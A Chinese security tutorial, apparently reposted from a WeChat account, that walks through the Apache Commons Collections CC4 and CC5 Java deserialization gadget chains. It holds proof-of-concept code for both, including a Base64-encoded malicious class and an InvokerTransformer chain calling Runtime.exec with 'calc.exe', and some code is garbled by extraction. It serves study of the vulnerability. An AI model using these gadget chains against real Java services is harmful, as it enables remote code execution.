java安全 cc4与cc5

admin 2022年4月9日22:00:50评论48 views字数 7601阅读25分20秒阅读模式


java安全 cc4与cc5
java安全 cc4与cc5

本文笔者带大家分析CC4与CC5有了前几篇文章的基础所以运用前面的知识就可以很轻松的举一

CC4与前面讲的CC2链基本差不多

pom依赖

<dependency>    <groupId>org.apache.commons</groupId>    <artifactId>commons-collections4</artifactId>    <version>4.0</version></dependency>



CC4可以说是CC2与CC3的结合版本,老样子,贴出全部代码在分段分析。

public class CC4 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, IOException, ClassNotFoundException {byte[] bytes =Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");TemplatesImpl templatessetField(templates,"_bytecodes",new byte[][]{bytes});setField(templates,"_name","test");setField(templates,"_tfactory",new TransformerFactoryImpl());templates.newTransformer();Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});TransformingComparator transformingComparator = newTransformingComparator(chainedTransformer);


new PriorityQueue(1);queue.add(1);queue.add(2);ChainedTransformer.class.getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer,transformers);//序列化ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.bin"));objectOutputStream.writeObject(queue);objectOutputStream.close();//反序列化ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.bin"));objectInputStream.readObject();objectInputStream.close();}public static void setField(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj,value);
}

首先来复习一下TemplatesImpl类做了什么?
跟进TemplatesImpl#newTransformer(),发现其调用了getTransletInstance()。

java安全 cc4与cc5


跟进getTransletInstance(),发现了对_null进行判断是否为空
所以才会有了前面通过反射修改name的值,才能绕过该if

setField(templates,"_name","123");


java安全 cc4与cc5

之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功 会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class[i]
java安全 cc4与cc5

之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0

java安全 cc4与cc5

java安全 cc4与cc5

最终通过_class[0].newInstance()调用

java安全 cc4与cc5

接下来简单分析下方这些代码。

Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});TransformingComparator transformingComparator = newTransformingComparator(chainedTransformer);new PriorityQueue(1,transformingComparator);queue.add(1);queue.add(2);


在TrAXFilter的有参构造,就会调用到Templates中并执行命令

java安全 cc4与cc5

PriorityQueue的话其实还是CC2中的逻辑。学过的小伙伴就当是复习了,没有学过的要认真听讲~ 在PriorityQueue初始化过程中,可以看到会将transformingComparator进行传入到comparator中

java安全 cc4与cc5

在readObject的时候,可以看到将反序列化的数据给了queue,之后调用了heapify()方法

java安全 cc4与cc5

在heapify中有一个循环,size移位之后-1如果为0的话,则会进入siftDown方法

java安全 cc4与cc5

而如何控制size呢?其实这就是该类在执行add方法的时候,就会使得size++,看到这里相信大家就清楚了为什么我 要执行两次add。

java安全 cc4与cc5

siftDown方法如下,x就是传入的反序列化数据。而进入之后有一层判断,comparator其实就是初始 化时传入的transformingComparator。所以会进入到siftDownUsingComparator这个方法

java安全 cc4与cc5

再次跟进该方法,在if处调用了transformingComparator.compare方法

java安全 cc4与cc5

而执行到transformingComparator.compare的时候,可以发现会执行transform方法。而该transformer成员就 是在初始化传入的

TransformingComparator transformingComparator = new
TransformingComparator(chainedTransformer);

java安全 cc4与cc5

其实与CC2非常的相似了,只是在Transformer初始化的时候,改成了TrAXFilter来执行命令,至此CC4轻松拿 捏!
-----------分割线-----------
现在与刚开始学CC链不同了,是不是觉得现在非常的简单,要趁热打铁,来顺带把CC5学了
CC5 pom文件依赖

<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>

代码如下,用到了一个新的类 就是BadAttributeValueExpException


Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};new ChainedTransformer(transformers);Map innerMap = new HashMap();LazyMap.decorate(innerMap, transformerChain);new TiedMapEntry(outerMap,"keykey");    new BadAttributeValueExpException(1);
BadAttributeValueExpException.class.getDeclaredField("val");


field.setAccessible(true);field.set(POC,tiedmap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin"));objectOutputStream.writeObject(POC);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin"));objectInputStream.readObject();objectInputStream.close();

利用链贴一下:

ObjectInputStream.readObject()    BadAttributeValueExpException .readObject()        TiedMapEntry.toString()            LazyMap.get()                ChainedTransformer .transform()                    ConstantTransformer .transform()                    InvokerTransformer .transform()                        Method .invoke()                            Class .getMethod()                    InvokerTransformer .transform()                        Method .invoke()                            Runtime .getRuntime()                    InvokerTransformer .transform()                        Method .invoke()                            Runtime .exec()



从LazyMap中分析吧,在将transformerChain传入之后,将其存到了factory中

Transformer transformerChain new ChainedTransformer(transformers);Map innerMap =new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);


java安全 cc4与cc5

而稍后就会执行到factory.transform方法中,从而执行命令

java安全 cc4与cc5

又是一个经典问题出现,谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入

TiedMapEntry tiedmap =    new TiedMapEntry(outerMap,"keykey");

java安全 cc4与cc5

而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法

TiedMapEntry.toString方法如下

public String toString() {    return this.getKey()+"="+this.getValue();


java安全 cc4与cc5

现在又一个问题,谁会调用TiedMapEntry.toString()?
这里也不卖关子了,根据上面的调用链,直接放出BadAttributeValueExpException.readObject方法 在第三行,获取val之后,存到了valObj临时变量中,并最终在17行valObj.toString()了。

private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException {ObjectInputStream.GetField gfgf.get("val", null);if (valObj == null) {null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixSystem.identityHashCode(valObj)}


现在问题出来了,val是个啥东西呢?其实就是该类的一个私有属性。

java安全 cc4与cc5

所以通过反射修改为TiedMapEntry即可,这样在readObject就会执行到TiedMapEntry.toString方法

BadAttributeValueExpException.class.getDeclaredField("val");field.setAccessible(true);field.set(POC,tiedmap);


但是这里有一个IDEA的小BUG,每次到LazyMap.get方法的时候,此if会跳到else中,如果将前面的断点全部取消, 并在if里面下断,即可成功到达。(也是跟一位师傅学的)

java安全 cc4与cc5

并最终执行

java安全 cc4与cc5

关注公众号

 公众号长期更新安全类文章,关注公众号,以便下次轻松查阅



原文始发于微信公众号(moonsec):java安全 cc4与cc5

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日22:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全 cc4与cc5http://cn-sec.com/archives/893252.html

发表评论

匿名网友 填写信息